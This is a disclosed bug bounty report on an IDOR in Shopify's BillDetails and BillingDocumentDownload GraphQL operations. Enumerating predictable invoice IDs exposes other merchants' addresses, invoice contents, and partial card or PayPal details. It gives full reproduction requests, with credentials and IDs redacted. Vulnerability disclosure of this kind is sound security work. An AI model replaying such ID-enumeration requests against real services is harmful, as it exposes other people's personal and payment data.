Shopify · Report #2207248
IDOR on GraphQL queries BillingDocumentDownload and BillDetails
Summary
There was an IDOR vulnerability that affected the BillingInvoice ID in both the BillingDocumentDownload and BillDetails GraphQL operations. Staff could gain access to some information on other shops through this IDOR.
An IDOR with numerical, predictable (incremental) ID allowed anyone to dump billing details for every other shops, which allowed to leak some PII and details from every other Shop owners/employees, through Billing GraphQL operations.
How it was found
Summary:
An IDOR on the BillingInvoice id on both BillingDocumentDownload and BillDetails graphql operations are leaking other merchants' ██████:
- full address
- content of their invoice
- last 4 digits of credit card + type of credit card OR paypal email
- shop impacted
Shops Used to Test:
Tested ID ██████ before I saw it was indeed embedding others' customers data.
Relevant Request IDs:
f858a40e-ad0d-407a-a589-3ffb40cc5ae5
Steps To Reproduce:
- Whatever the user you're loggedin with, run the following request :
POST /api/shopify/███?operation=BillDetails&type=query HTTP/2
Host: admin.shopify.com
Cookie: ██████████
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Shopify-Web-Force-Proxy: 1
X-Csrf-Token: ████████
Caller-Pathname: /store/████████/access_account/invoice/███
Content-Length: 6674
Origin: https://admin.shopify.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: cyan
Te: trailers
{"operationName":"BillDetails","variables":{"id":"████","hasBillingSubscriptionsPermission":false},"query":"query BillDetails($id: ID!, $hasBillingSubscriptionsPermission: Boolean!) {\n shop {\n id\n myshopifyDomain\n countryCode\n createdAt\n name\n plan {\n name\n __typename\n }\n easeMerchantFailedBillManualPaymentAttempts: experimentAssignment(\n name: \"ease_merchant_failed_bill_manual_payment_attempts\"\n )\n __typename\n }\n billingAccount {\n id\n subscription @include(if: $hasBillingSubscriptionsPermission) {\n id\n billingPeriod\n __typename\n }\n activePaymentMethod {\n __typename\n ... on BillingBankAccount {\n id\n bankName\n lastDigits\n compatibleCurrencies\n __typename\n }\n ... on BillingCreditCard {\n id\n brand\n lastDigits\n compatibleCurrencies\n __typename\n }\n ... on BillingReseller {\n id\n compatibleCurrencies\n __typename\n }\n ... on BillingPaypalAccount {\n id\n email\n compatibleCurrencies\n __typename\n }\n ... on BillingBalance {\n id\n compatibleCurrencies\n __typename\n }\n ... on BillingShopifyBalanceCard {\n id\n compatibleCurrencies\n __typename\n }\n ... on BillingManualPayment {\n id\n compatibleCurrencies\n __typename\n }\n ... on BillingUpiAccount {\n id\n upiId\n compatibleCurrencies\n __typename\n }\n }\n ...BillingPaymentMethods\n validPaymentMethods\n currency\n __typename\n }\n node(id: $id) {\n id\n ... on BillingInvoice {\n id\n credits {\n name\n category\n invoiceAmount {\n amount\n currencyCode\n __typename\n }\n __typename\n }\n chargeCategories {\n shopId\n shopName\n shopDomain\n category\n name\n description\n count\n subtotalAmount {\n amount\n currencyCode\n __typename\n }\n charges {\n __typename\n discountValue {\n __typename\n ... on AppSubscriptionDiscountPercentage {\n percentage\n __typename\n }\n ... on AppSubscriptionDiscountAmount {\n amount {\n amount\n currencyCode\n __typename\n }\n __typename\n }\n }\n amount {\n amount\n currencyCode\n __typename\n }\n originalAmount {\n amount\n currencyCode\n __typename\n }\n exchangeRate\n exchangeRateAt\n issuedAt\n description\n title\n apiClientId\n feeType\n hasTraceabilityBetaFlag\n chargesUrl: url\n }\n __typename\n }\n createdAt\n billOn\n dueOn\n netTerm\n status\n name\n originClassification\n prefixBillName\n purchaseType\n authenticationStatus\n strongCustomerAuthenticationPayload {\n clientToken\n paymentMethodNonce\n redirectUrl\n type\n __typename\n }\n lastFailureReason\n lastFailureMessage\n totalAmount {\n amount\n currencyCode\n __typename\n }\n totalCreditAmount {\n amount\n currencyCode\n __typename\n }\n subtotalAmount {\n amount\n currencyCode\n __typename\n }\n refundedAmount {\n amount\n currencyCode\n __typename\n }\n timeline {\n status\n date\n amount {\n amount\n currencyCode\n __typename\n }\n __typename\n }\n paymentMethod {\n __typename\n ... on BillingBankAccount {\n id\n bankName\n lastDigits\n synchronous\n __typename\n }\n ... on BillingCreditCard {\n id\n brand\n lastDigits\n synchronous\n __typename\n }\n ... on BillingReseller {\n id\n synchronous\n __typename\n }\n ... on BillingPaypalAccount {\n id\n email\n synchronous\n __typename\n }\n ... on BillingBalance {\n id\n synchronous\n __typename\n }\n ... on BillingManualPayment {\n id\n synchronous\n __typename\n }\n ... on BillingUpiAccount {\n id\n upiId\n synchronous\n __typename\n }\n ... on BillingShopifyBalanceCard {\n id\n synchronous\n __typename\n }\n }\n __typename\n }\n __typename\n }\n}\n\nfragment BillingPaymentMethods on BillingAccount {\n id\n paymentMethods {\n __typename\n ... on BillingBankAccount {\n id\n priority\n bankName\n lastDigits\n verificationStatus\n synchronous\n compatibleCurrencies\n __typename\n }\n ... on BillingCreditCard {\n id\n priority\n brand\n lastDigits\n expired\n expiryMonth\n expiryYear\n synchronous\n compatibleCurrencies\n __typename\n }\n ... on BillingShopifyBalanceCard {\n id\n priority\n synchronous\n compatibleCurrencies\n __typename\n }\n ... on BillingReseller {\n id\n priority\n uid\n handle\n synchronous\n compatibleCurrencies\n __typename\n }\n ... on BillingPaypalAccount {\n id\n priority\n email\n synchronous\n compatibleCurrencies\n __typename\n }\n ... on BillingBalance {\n id\n priority\n synchronous\n compatibleCurrencies\n __typename\n }\n ... on BillingShopifyBalanceAccount {\n id\n priority\n synchronous\n compatibleCurrencies\n __typename\n }\n ... on BillingUpiAccount {\n id\n priority\n upiId\n synchronous\n compatibleCurrencies\n __typename\n }\n ... on BillingManualPayment {\n id\n priority\n synchronous\n compatibleCurrencies\n __typename\n }\n }\n __typename\n}\n"}
That will give you some infos about the invoice.
You can also download the PDF of the invoice, with different infos embedded in it :
POST /api/shopify/██████?operation=BillingDocumentDownload&type=mutation HTTP/2
Host: admin.shopify.com
Cookie: ██████
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Shopify-Web-Force-Proxy: 1
X-Csrf-Token: ████
Caller-Pathname: /store/█████████/access_account/invoice/██████
Content-Length: 433
Origin: https://admin.shopify.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: cyan
Te: trailers
{"operationName":"BillingDocumentDownload","variables":{"id":"████","documentType":"CREDIT_NOTE"},"query":"mutation BillingDocumentDownload($id: ID!, $documentType: BillingDocumentType) {\n billingDocumentDownload(id: $id, documentType: $documentType) {\n job {\n id\n __typename\n }\n userErrors {\n field\n message\n __typename\n }\n __typename\n }\n}\n"}
Replace in the request the cookies, the shop name and the CSRF token, then access https://admin.shopify.com/store/*yourshop*/invoices/*theid*/download.html?document_type=INVOICE
Funnily enough, the PDF invoice display my own firstname / lastname, but will display the other merchants' email and full address.
Impact
Summary:
An attacker is able to dump ███ merchants through their invoices.